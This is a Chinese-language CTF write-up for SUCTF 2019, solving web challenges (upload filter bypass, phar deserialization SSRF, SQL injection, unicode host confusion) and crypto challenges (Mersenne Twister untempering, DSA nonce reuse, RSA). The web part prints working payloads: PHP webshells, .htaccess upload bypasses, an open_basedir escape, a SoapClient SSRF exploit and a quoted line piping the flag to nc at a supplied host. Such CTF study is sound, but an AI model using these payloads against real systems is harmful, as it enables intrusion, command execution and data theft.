SUCTF2019 wp

web

CheckIn

.user.ini构成后门文件
mTj5Wt.png
mTj4JI.png
mTjhFA.png
这里用了asp_tags绕过<?,也可以使用<script language='php'>
mTjWod.png

easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

给了一个get_the_flag函数,很明显就是通过下面的代码调用get_the_flag函数上传文件拿shell

利用异或来构造$_GET变量

下面传入的参数限制很严格,长度不大于18,所用字符不多于12个

1
2
php > echo urlencode('_GET'^urldecode('%ff%ff%ff%ff'));
%A0%B8%BA%AB

payload:

1
_=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag

上传绕过

上传文件扩展名不能有ph,内容中不能有<?,同时要满足exif_imagetype对图片格式的验证

上传.htaccess来解析上传文件
https://thibaudrobin.github.io/articles/bypass-filter-upload/

X Bit Map 文件

以下C代码示例了一个XBM文件:

1
2
3
4
5
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

前两行定义了图片的宽和高,以#开头,而#也是.htaccess文件的注释符

payload:

1
2
3
4
5
6
7
8
#define width 1337                          # Define the width wanted by the code (and say we are a legit xbitmap file lol)
#define height 1337 # Define the height

AddType application/x-httpd-php .php16 # Say all file with extension .php16 will execute php

php_value zend.multibyte 1 # Active specific encoding (you will see why after :D)
php_value zend.detect_unicode 1 # Detect if the file have unicode content
php_value display_errors 1 # Display php errors

这里的.htaccess文件可以用php解析自定义后缀名的文件,启用了特殊文本编码(utf-16)

然后上传一个utf-16编码的php文件,绕过对内容的检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3
# Description : create and bypass file upload filter with .htaccess
# Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('.htaccess', 'wb')

htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .php16\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')

htaccess.close()

generate_htacess()

generate_php_file("webshell.php16", "<?php system($_GET['cmd']); die(); ?>")
generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir'])); die(); ?>")
generate_php_file("getfile.php16", "<?php echo file_get_contents($_GET['file']); die(); ?>")
generate_php_file("info.php16", "<?php phpinfo(); die(); ?>")

0x00 开头的图片

ico、wbmp文件以0x00开头

.htaccess中以\x00开头该行会被忽略

1
2
3
4
5
6
\x00\x00\x8a\x39\x8a\x39AAAAAAAAAA
AddHandler application/x-httpd-php .png
php_flag zend.multibyte 1
php_value zend.script_encoding 'UTF-32LE'
php_flag zend.detect_unicode 0
php_value auto_append_file 'php://filter/convert.iconv.UTF-8%2fUTF-32LE/resource=/tmp/IAM_THE_BESTEST_HACKZ0R'

这里使用UTF-32LE编码PHP文件,使用伪协议转换编码

也可以使用base64编码

1
2
3
4
5
6
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .asp
php_value auto_append_file "php://filter/convert.base64-decode/resource=upload/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.asp"
"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")

open_basedir绕过

1
?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));

upload-lab2

题目可以上传文件,检查文件类型

对上传文件的扩展名、文件大小、文件内容做了限制

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){

$ip = $_POST['ip']; //你用来获取flag的服务器ip
$port = $_POST['port']; //你用来获取flag的服务器端口

$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($ip, $port, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}

需要通过本地来访问,执行$admin->check();

Ad类中

1
2
3
4
function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}

直接就能拿到flag

class.php中,File类的getMIME方法调用了finfo_file函数

1
2
3
4
5
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}

finfo_file/finfo_buffer/mime_content_type均通过_php_finfo_get_type间接调用了关键函数php_stream_open_wrapper_ex,导致均可以使用phar://触发 phar反序列化

File类的__wakeup方法通过反射初始化了一个类并调用了其check成员方法,将类名改为SoapClient,调用check方法时就会去调用__call方法,实现SSRF

1
2
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");

上面的代码对url进行了正则过滤

类似compress.bzip2://phar://compress.zlib://phar://绕过,这里使用php://filter/resource= 或者 php://filter/read=convert.base64-encode/resource=phar://

上传内容不能有<?,使用<script language="php">__HALT_COMPILER();</script>

使用SOAP
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
public $file_name = "";
public $func = "SoapClient";

function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=&ip=111.111.111.111&port=1111&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];
}
}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

在出题笔记 https://xz.aliyun.com/t/6057#toc-6 中,说到了其实getflag应该写在Ad类的__wakeup方法中

1
2
3
function __wakeup(){
system("/readflag | nc $this->ip $this->port");
}

如果是__wakeup方法,还需要去触发unserialize()函数来调用它。

考察mysql client attack chain,Rogue Mysql的攻击也适用于phar反序列化

https://github.com/knownsec/404-Team-ShowCase/blob/master/20190801-TSec-Comprehensive%20analysis%20of%20the%20mysql%20client%20attack%20chain(%E5%85%AC%E5%BC%80%E7%89%88).pdf

easysql

1
$sql = "select ".$post['query']."||flag from Flag";

堆叠注入,比赛时没有fuzz出来

payload : *,2 –> select *,2||flag from Flag

另一种做法:1;set sql_mode=pipes_as_concat;select 1

||视为字符串的连接操作符而非运算符

https://blog.csdn.net/lixora/article/details/60572357

pythonginx

unicode to ascii 的域名转换导致的解析问题

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

payload : url=file://suctf.c%E2%84%82/../../../usr/fffffflag

Cocktail’s Remix

robots.txt

1
2
3
4
User-agent: *
Disallow: /info.php
Disallow: /download.php
Disallow: /config.php

info.php phpinfo页面

download.php 页面任意文件下载

config.php 有mysql配置

1
2
3
4
5
6
# config.php
<?php
//$db_server = "MysqlServer";
//$db_username = "dba";
//$db_password = "rNhHmmNkN3xu4MBYhm";
?>

info.php里显示加载了mod_cocktail模块

下载/usr/lib/apache2/modules/mod_cocktail.so,通过分析,reffer头base64编码能rce

payload:

base64encode:mysql -hMysqlServer -udba -prNhHmmNkN3xu4MBYhm -e "use flag;select * from flag;"

crypto

mt

convert函数是修改过的马特赛特旋转算法(Mersenne_Twister)里的,写解密函数即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Random import random
from Crypto.Util import number

def convert(m):
m = m ^ m >> 13
m = m ^ m << 9 & 2029229568
m = m ^ m << 17 & 2245263360
m = m ^ m >> 19
return m

def transform(message):
assert len(message) % 4 == 0
new_message = ''
for i in range(len(message) / 4):
block = message[i * 4 : i * 4 +4]
block = number.bytes_to_long(block)
block = convert(block)
block = number.long_to_bytes(block, 4)
new_message += block
return new_message

def unshiftRight(x, shift):
res = x
for i in range(32):
res = x ^ res >> shift
return res

def unshiftLeft(x, shift, mask):
res = x
for i in range(32):
res = x ^ (res << shift & mask)
return res

def untemper(v):
""" Reverses the tempering which is applied to outputs of MT19937 """
v = unshiftRight(v, 19)
v = unshiftLeft(v, 17, 2245263360)
v = unshiftLeft(v, 9, 2029229568)
v = unshiftRight(v, 13)
return v

flag1= 'd\x14`\xa9'
flag2='\xe3\x95;\x1a'
flag3='\xaa!\xf3\xa2'

print number.long_to_bytes(untemper(number.bytes_to_long(flag1))).encode('hex')
print number.long_to_bytes(untemper(number.bytes_to_long(flag2))).encode('hex')
print number.long_to_bytes(untemper(number.bytes_to_long(flag3))).encode('hex')

DSA

找一组存在相同r的数据

PyCrypto库: https://www.dlitz.net/software/pycrypto/api/current/Crypto.PublicKey-module.html

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#coding=utf8
from Crypto.PublicKey import DSA
import gmpy2


# key = DSA.importKey(f)

p = 89884656743115795410330446766305444810004136012254088951572626435286675422682176229402503492580606179917249860049739727209788038822130599201415424530376802111943477311274012282077144230261944897642709888276214865231977633092681851700371975525345570071410658086330999327910225883994595418375586127382561183191

q = 1094739534860224235292878176784189923705337366681

g = 45176704602678996466345491147786667514847110446672958949281105387456640601013626319027713209352510744986626134114193057293579073731880980525600350365289453025924146490115563191128377152922598073864423115154272883314941825033353881375702194460534492199607861471983318048983963024096271251226427130673857316585

y = 61479767771358258196948224103790632963915961870698154860798353299911601917061489072316373651812019818071957679426946395513936475220577021289850660360631285121859875756712938541469885329065894927857856661441896764290927390640280108692341643373962441245795263751929643359369289268442230656568047041895034174663

m3=27650803417371457807064002936379775828
m4=193111848988193367504523557345609960681

s3 = 969619933279812097233565740032014835031020421736
s4 = 224560611630673652816158535380665653808929415702
r = 221956686088729432900817425736488818196886074744

ds = s4 - s3
dm = m4 - m3

k = gmpy2.mul(dm, gmpy2.invert(ds, q))
k = gmpy2.f_mod(k, q)

print "k = "+str(k)

tmp = gmpy2.mul(k, s3) - m3
x = tmp * gmpy2.invert(r, q)
x = gmpy2.f_mod(x, q)
x=int(x)

print "x = "+str(x)
# text="And nothing 'gainst Time's scythe can make defence"

key = DSA.construct((y,g,p,q,x))

h=334436397493699539473999398012751306876
print key.sign(h,k)

# flag{Wh4t_a_Prety_Si3nature!}

Prime

给了四个n,四个n两两都不互质,能求出每个n的四个因子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
n1p1 = gcd(n1,n2)
n1p2 = gcd(n1,n3)
n1p3 = gcd(n1,n4)
n1p4 = n1/(n1p1*n1p2*n1p3)
d1=int(gmpy2.invert(n1,(n1p1-1)*(n1p2-1)*(n1p3-1)*(n1p4-1)))
m1 = pow(c1,d1,n1)

n2p1 = gcd(n2,n1)
n2p2 = gcd(n2,n3)
n2p3 = gcd(n2,n4)
n2p4 = n2/(n2p1*n2p2*n2p3)
d2=int(gmpy2.invert(n2,(n2p1-1)*(n2p2-1)*(n2p3-1)*(n2p4-1)))
m2 = pow(c2,d2,n2)

n3p1 = gcd(n3,n1)
n3p2 = gcd(n3,n2)
n3p3 = gcd(n3,n4)
n3p4 = n3/(n3p1*n3p2*n3p3)
d3=int(gmpy2.invert(n3,(n3p1-1)*(n3p2-1)*(n3p3-1)*(n3p4-1)))
m3 = pow(c3,d3,n3)

n4p1 = gcd(n4,n2)
n4p2 = gcd(n4,n3)
n4p3 = gcd(n4,n1)
n4p4 = n4/(n4p1*n4p2*n4p3)
d4=int(gmpy2.invert(n4,(n4p1-1)*(n4p2-1)*(n4p3-1)*(n4p4-1)))
m4 = pow(c4,d4,n4)

RSA

lsb PARITY Oracal attack

https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_chosen_plain_cipher-zh/#rsa-parity-oracle